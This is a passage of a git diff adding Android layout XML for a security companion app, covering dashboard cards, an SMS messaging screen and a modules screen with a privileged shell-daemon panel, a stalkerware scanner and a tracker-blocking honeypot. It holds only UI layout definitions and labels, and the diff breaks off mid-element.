android:gravity="center"
|
||||
android:text="@string/link_osint"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 4: Defense, Offense -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_defense"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginEnd="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_defense"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_offense"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="100dp"
|
||||
android:layout_weight="1"
|
||||
android:layout_marginStart="4dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_offense"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Row 5: Settings (single, full width) -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/card_settings"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="100dp"
|
||||
android:layout_marginBottom="8dp"
|
||||
android:clickable="true"
|
||||
android:focusable="true"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<TextView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:gravity="center"
|
||||
android:text="@string/link_settings"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</LinearLayout>
|
||||
</ScrollView>
|
||||
340
autarch_companion/app/src/main/res/layout/fragment_messaging.xml
Normal file
340
autarch_companion/app/src/main/res/layout/fragment_messaging.xml
Normal file
@@ -0,0 +1,340 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<FrameLayout
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background">
|
||||
|
||||
<!-- ═══ Conversation List View ═══ -->
|
||||
<LinearLayout
|
||||
android:id="@+id/conversation_list_container"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:orientation="vertical"
|
||||
android:visibility="visible">
|
||||
|
||||
<!-- Toolbar -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="12dp"
|
||||
android:background="@color/surface">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="@string/messaging_title"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="22sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<!-- Shizuku status dot -->
|
||||
<View
|
||||
android:id="@+id/shizuku_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="12dp" />
|
||||
|
||||
<!-- Search button -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_search"
|
||||
android:layout_width="40dp"
|
||||
android:layout_height="40dp"
|
||||
android:text="?"
|
||||
android:textSize="16sp"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:insetTop="0dp"
|
||||
android:insetBottom="0dp"
|
||||
android:minWidth="40dp"
|
||||
android:padding="0dp"
|
||||
style="@style/Widget.Material3.Button.TextButton"
|
||||
android:layout_marginEnd="4dp" />
|
||||
|
||||
<!-- Default SMS toggle -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_default_sms"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="@string/messaging_become_default"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim"
|
||||
android:layout_marginEnd="4dp" />
|
||||
|
||||
<!-- Tools menu -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_tools"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="@string/messaging_tools"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Search bar (hidden by default) -->
|
||||
<LinearLayout
|
||||
android:id="@+id/search_bar"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:padding="8dp"
|
||||
android:background="@color/surface_dark"
|
||||
android:visibility="gone">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_search"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:hint="@string/messaging_search_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="text"
|
||||
android:background="@color/surface"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:singleLine="true" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_search_go"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="GO"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_search_close"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="X"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="4dp"
|
||||
style="@style/Widget.Material3.Button.TextButton" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Conversation RecyclerView -->
|
||||
<androidx.recyclerview.widget.RecyclerView
|
||||
android:id="@+id/recycler_conversations"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1"
|
||||
android:clipToPadding="false"
|
||||
android:padding="4dp" />
|
||||
|
||||
<!-- Empty state -->
|
||||
<TextView
|
||||
android:id="@+id/empty_state"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1"
|
||||
android:gravity="center"
|
||||
android:text="@string/messaging_empty"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:visibility="gone" />
|
||||
|
||||
<!-- FAB for new message -->
|
||||
<com.google.android.material.floatingactionbutton.FloatingActionButton
|
||||
android:id="@+id/fab_new_message"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_gravity="bottom|end"
|
||||
android:layout_margin="16dp"
|
||||
android:contentDescription="@string/messaging_new_message"
|
||||
app:backgroundTint="@color/terminal_green"
|
||||
app:tint="@color/background" />
|
||||
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ Message Thread View ═══ -->
|
||||
<LinearLayout
|
||||
android:id="@+id/thread_view_container"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:orientation="vertical"
|
||||
android:visibility="gone">
|
||||
|
||||
<!-- Thread header -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="12dp"
|
||||
android:background="@color/surface">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_back"
|
||||
android:layout_width="40dp"
|
||||
android:layout_height="40dp"
|
||||
android:text="<"
|
||||
android:textSize="18sp"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:insetTop="0dp"
|
||||
android:insetBottom="0dp"
|
||||
android:minWidth="40dp"
|
||||
android:padding="0dp"
|
||||
style="@style/Widget.Material3.Button.TextButton"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:orientation="vertical">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/thread_contact_name"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/thread_address"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:singleLine="true" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Thread tools -->
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_thread_export"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="@string/messaging_export"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Messages RecyclerView -->
|
||||
<androidx.recyclerview.widget.RecyclerView
|
||||
android:id="@+id/recycler_messages"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1"
|
||||
android:clipToPadding="false"
|
||||
android:padding="8dp" />
|
||||
|
||||
<!-- Message input bar -->
|
||||
<LinearLayout
|
||||
android:id="@+id/message_input_bar"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:padding="8dp"
|
||||
android:background="@color/surface">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_message"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:hint="@string/messaging_input_hint"
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_secondary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="textMultiLine"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="12dp"
|
||||
android:paddingEnd="12dp"
|
||||
android:paddingTop="8dp"
|
||||
android:paddingBottom="8dp"
|
||||
android:maxLines="4"
|
||||
android:minHeight="40dp" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_send"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="40dp"
|
||||
android:text="@string/messaging_send"
|
||||
android:textSize="12sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
</LinearLayout>
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ Output Log (bottom overlay, hidden by default) ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:id="@+id/output_log_card"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="200dp"
|
||||
android:layout_gravity="bottom"
|
||||
android:layout_margin="8dp"
|
||||
app:cardBackgroundColor="@color/surface_dark"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp"
|
||||
android:visibility="gone">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:orientation="vertical"
|
||||
android:padding="8dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical">
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Output:"
|
||||
android:textColor="@color/terminal_green_dim"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_close_log"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="30dp"
|
||||
android:text="X"
|
||||
android:textSize="10sp"
|
||||
style="@style/Widget.Material3.Button.TextButton" />
|
||||
</LinearLayout>
|
||||
|
||||
<ScrollView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="0dp"
|
||||
android:layout_weight="1">
|
||||
|
||||
<TextView
|
||||
android:id="@+id/messaging_output_log"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="> ready_"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="11sp"
|
||||
android:fontFamily="monospace"
|
||||
android:lineSpacingExtra="2dp" />
|
||||
</ScrollView>
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
</FrameLayout>
|
||||
655
autarch_companion/app/src/main/res/layout/fragment_modules.xml
Normal file
655
autarch_companion/app/src/main/res/layout/fragment_modules.xml
Normal file
@@ -0,0 +1,655 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<ScrollView
|
||||
xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:app="http://schemas.android.com/apk/res-auto"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="match_parent"
|
||||
android:background="@color/background"
|
||||
android:padding="16dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical">
|
||||
|
||||
<!-- Header -->
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="ARCHON MODULES"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="24sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="8dp" />
|
||||
|
||||
<!-- Server Status -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="16dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/server_status_dot"
|
||||
android:layout_width="12dp"
|
||||
android:layout_height="12dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/server_status_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Server: checking..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textSize="14sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- ═══ Archon Server Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/archon_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Archon Server"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/archon_uid_text"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="UID 2000"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Privileged shell daemon — enables modules without root"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="4dp" />
|
||||
|
||||
<TextView
|
||||
android:id="@+id/archon_info_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Status: checking..."
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Quick command -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.textfield.TextInputEditText
|
||||
android:id="@+id/input_archon_cmd"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="40dp"
|
||||
android:layout_weight="1"
|
||||
android:hint="shell command..."
|
||||
android:textColor="@color/text_primary"
|
||||
android:textColorHint="@color/text_secondary"
|
||||
android:textSize="13sp"
|
||||
android:fontFamily="monospace"
|
||||
android:inputType="text"
|
||||
android:background="@color/surface_dark"
|
||||
android:paddingStart="8dp"
|
||||
android:paddingEnd="8dp"
|
||||
android:singleLine="true" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_run"
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="36dp"
|
||||
android:text="RUN"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Server control buttons -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_info"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="INFO"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_ping"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="PING"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_archon_packages"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="APPS"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Protection Shield Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/shield_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Protection Shield"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="v1.0"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Scan & remove stalkerware"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Scan buttons row 1 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_full_scan"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="FULL SCAN"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_packages"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="PACKAGES"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Scan buttons row 2 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_admins"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="ADMINS"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_certs"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="CERTS"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_shield_scan_network"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="NETWORK"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Shield status -->
|
||||
<TextView
|
||||
android:id="@+id/shield_status_text"
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Last: no scan run"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
</com.google.android.material.card.MaterialCardView>
|
||||
|
||||
<!-- ═══ Tracking Honeypot Card ═══ -->
|
||||
<com.google.android.material.card.MaterialCardView
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_marginBottom="12dp"
|
||||
app:cardBackgroundColor="@color/surface"
|
||||
app:cardCornerRadius="8dp"
|
||||
app:strokeColor="@color/terminal_green_dim"
|
||||
app:strokeWidth="1dp">
|
||||
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="vertical"
|
||||
android:padding="16dp">
|
||||
|
||||
<!-- Title row -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:gravity="center_vertical"
|
||||
android:layout_marginBottom="4dp">
|
||||
|
||||
<View
|
||||
android:id="@+id/honeypot_status_dot"
|
||||
android:layout_width="10dp"
|
||||
android:layout_height="10dp"
|
||||
android:layout_marginEnd="8dp" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="Tracking Honeypot"
|
||||
android:textColor="@color/terminal_green"
|
||||
android:textSize="16sp"
|
||||
android:textStyle="bold"
|
||||
android:fontFamily="monospace" />
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="v1.0"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace" />
|
||||
</LinearLayout>
|
||||
|
||||
<TextView
|
||||
android:layout_width="wrap_content"
|
||||
android:layout_height="wrap_content"
|
||||
android:text="Block trackers & fake data"
|
||||
android:textColor="@color/text_secondary"
|
||||
android:textSize="12sp"
|
||||
android:fontFamily="monospace"
|
||||
android:layout_marginBottom="12dp" />
|
||||
|
||||
<!-- Honeypot buttons row 1 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_harden"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="HARDEN ALL"
|
||||
android:textColor="@color/background"
|
||||
android:textSize="11sp"
|
||||
style="@style/Widget.Material3.Button"
|
||||
app:backgroundTint="@color/terminal_green" />
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_reset_ad"
|
||||
android:layout_width="0dp"
|
||||
android:layout_height="wrap_content"
|
||||
android:layout_weight="1"
|
||||
android:text="RESET AD ID"
|
||||
android:textSize="11sp"
|
||||
android:layout_marginStart="8dp"
|
||||
style="@style/Widget.Material3.Button.TonalButton"
|
||||
app:backgroundTint="@color/terminal_green_dim" />
|
||||
</LinearLayout>
|
||||
|
||||
<!-- Honeypot buttons row 2 -->
|
||||
<LinearLayout
|
||||
android:layout_width="match_parent"
|
||||
android:layout_height="wrap_content"
|
||||
android:orientation="horizontal"
|
||||
android:layout_marginBottom="8dp">
|
||||
|
||||
<com.google.android.material.button.MaterialButton
|
||||
android:id="@+id/btn_honeypot_dns"
|
||||
android:layout_width="0dp"
|
||||
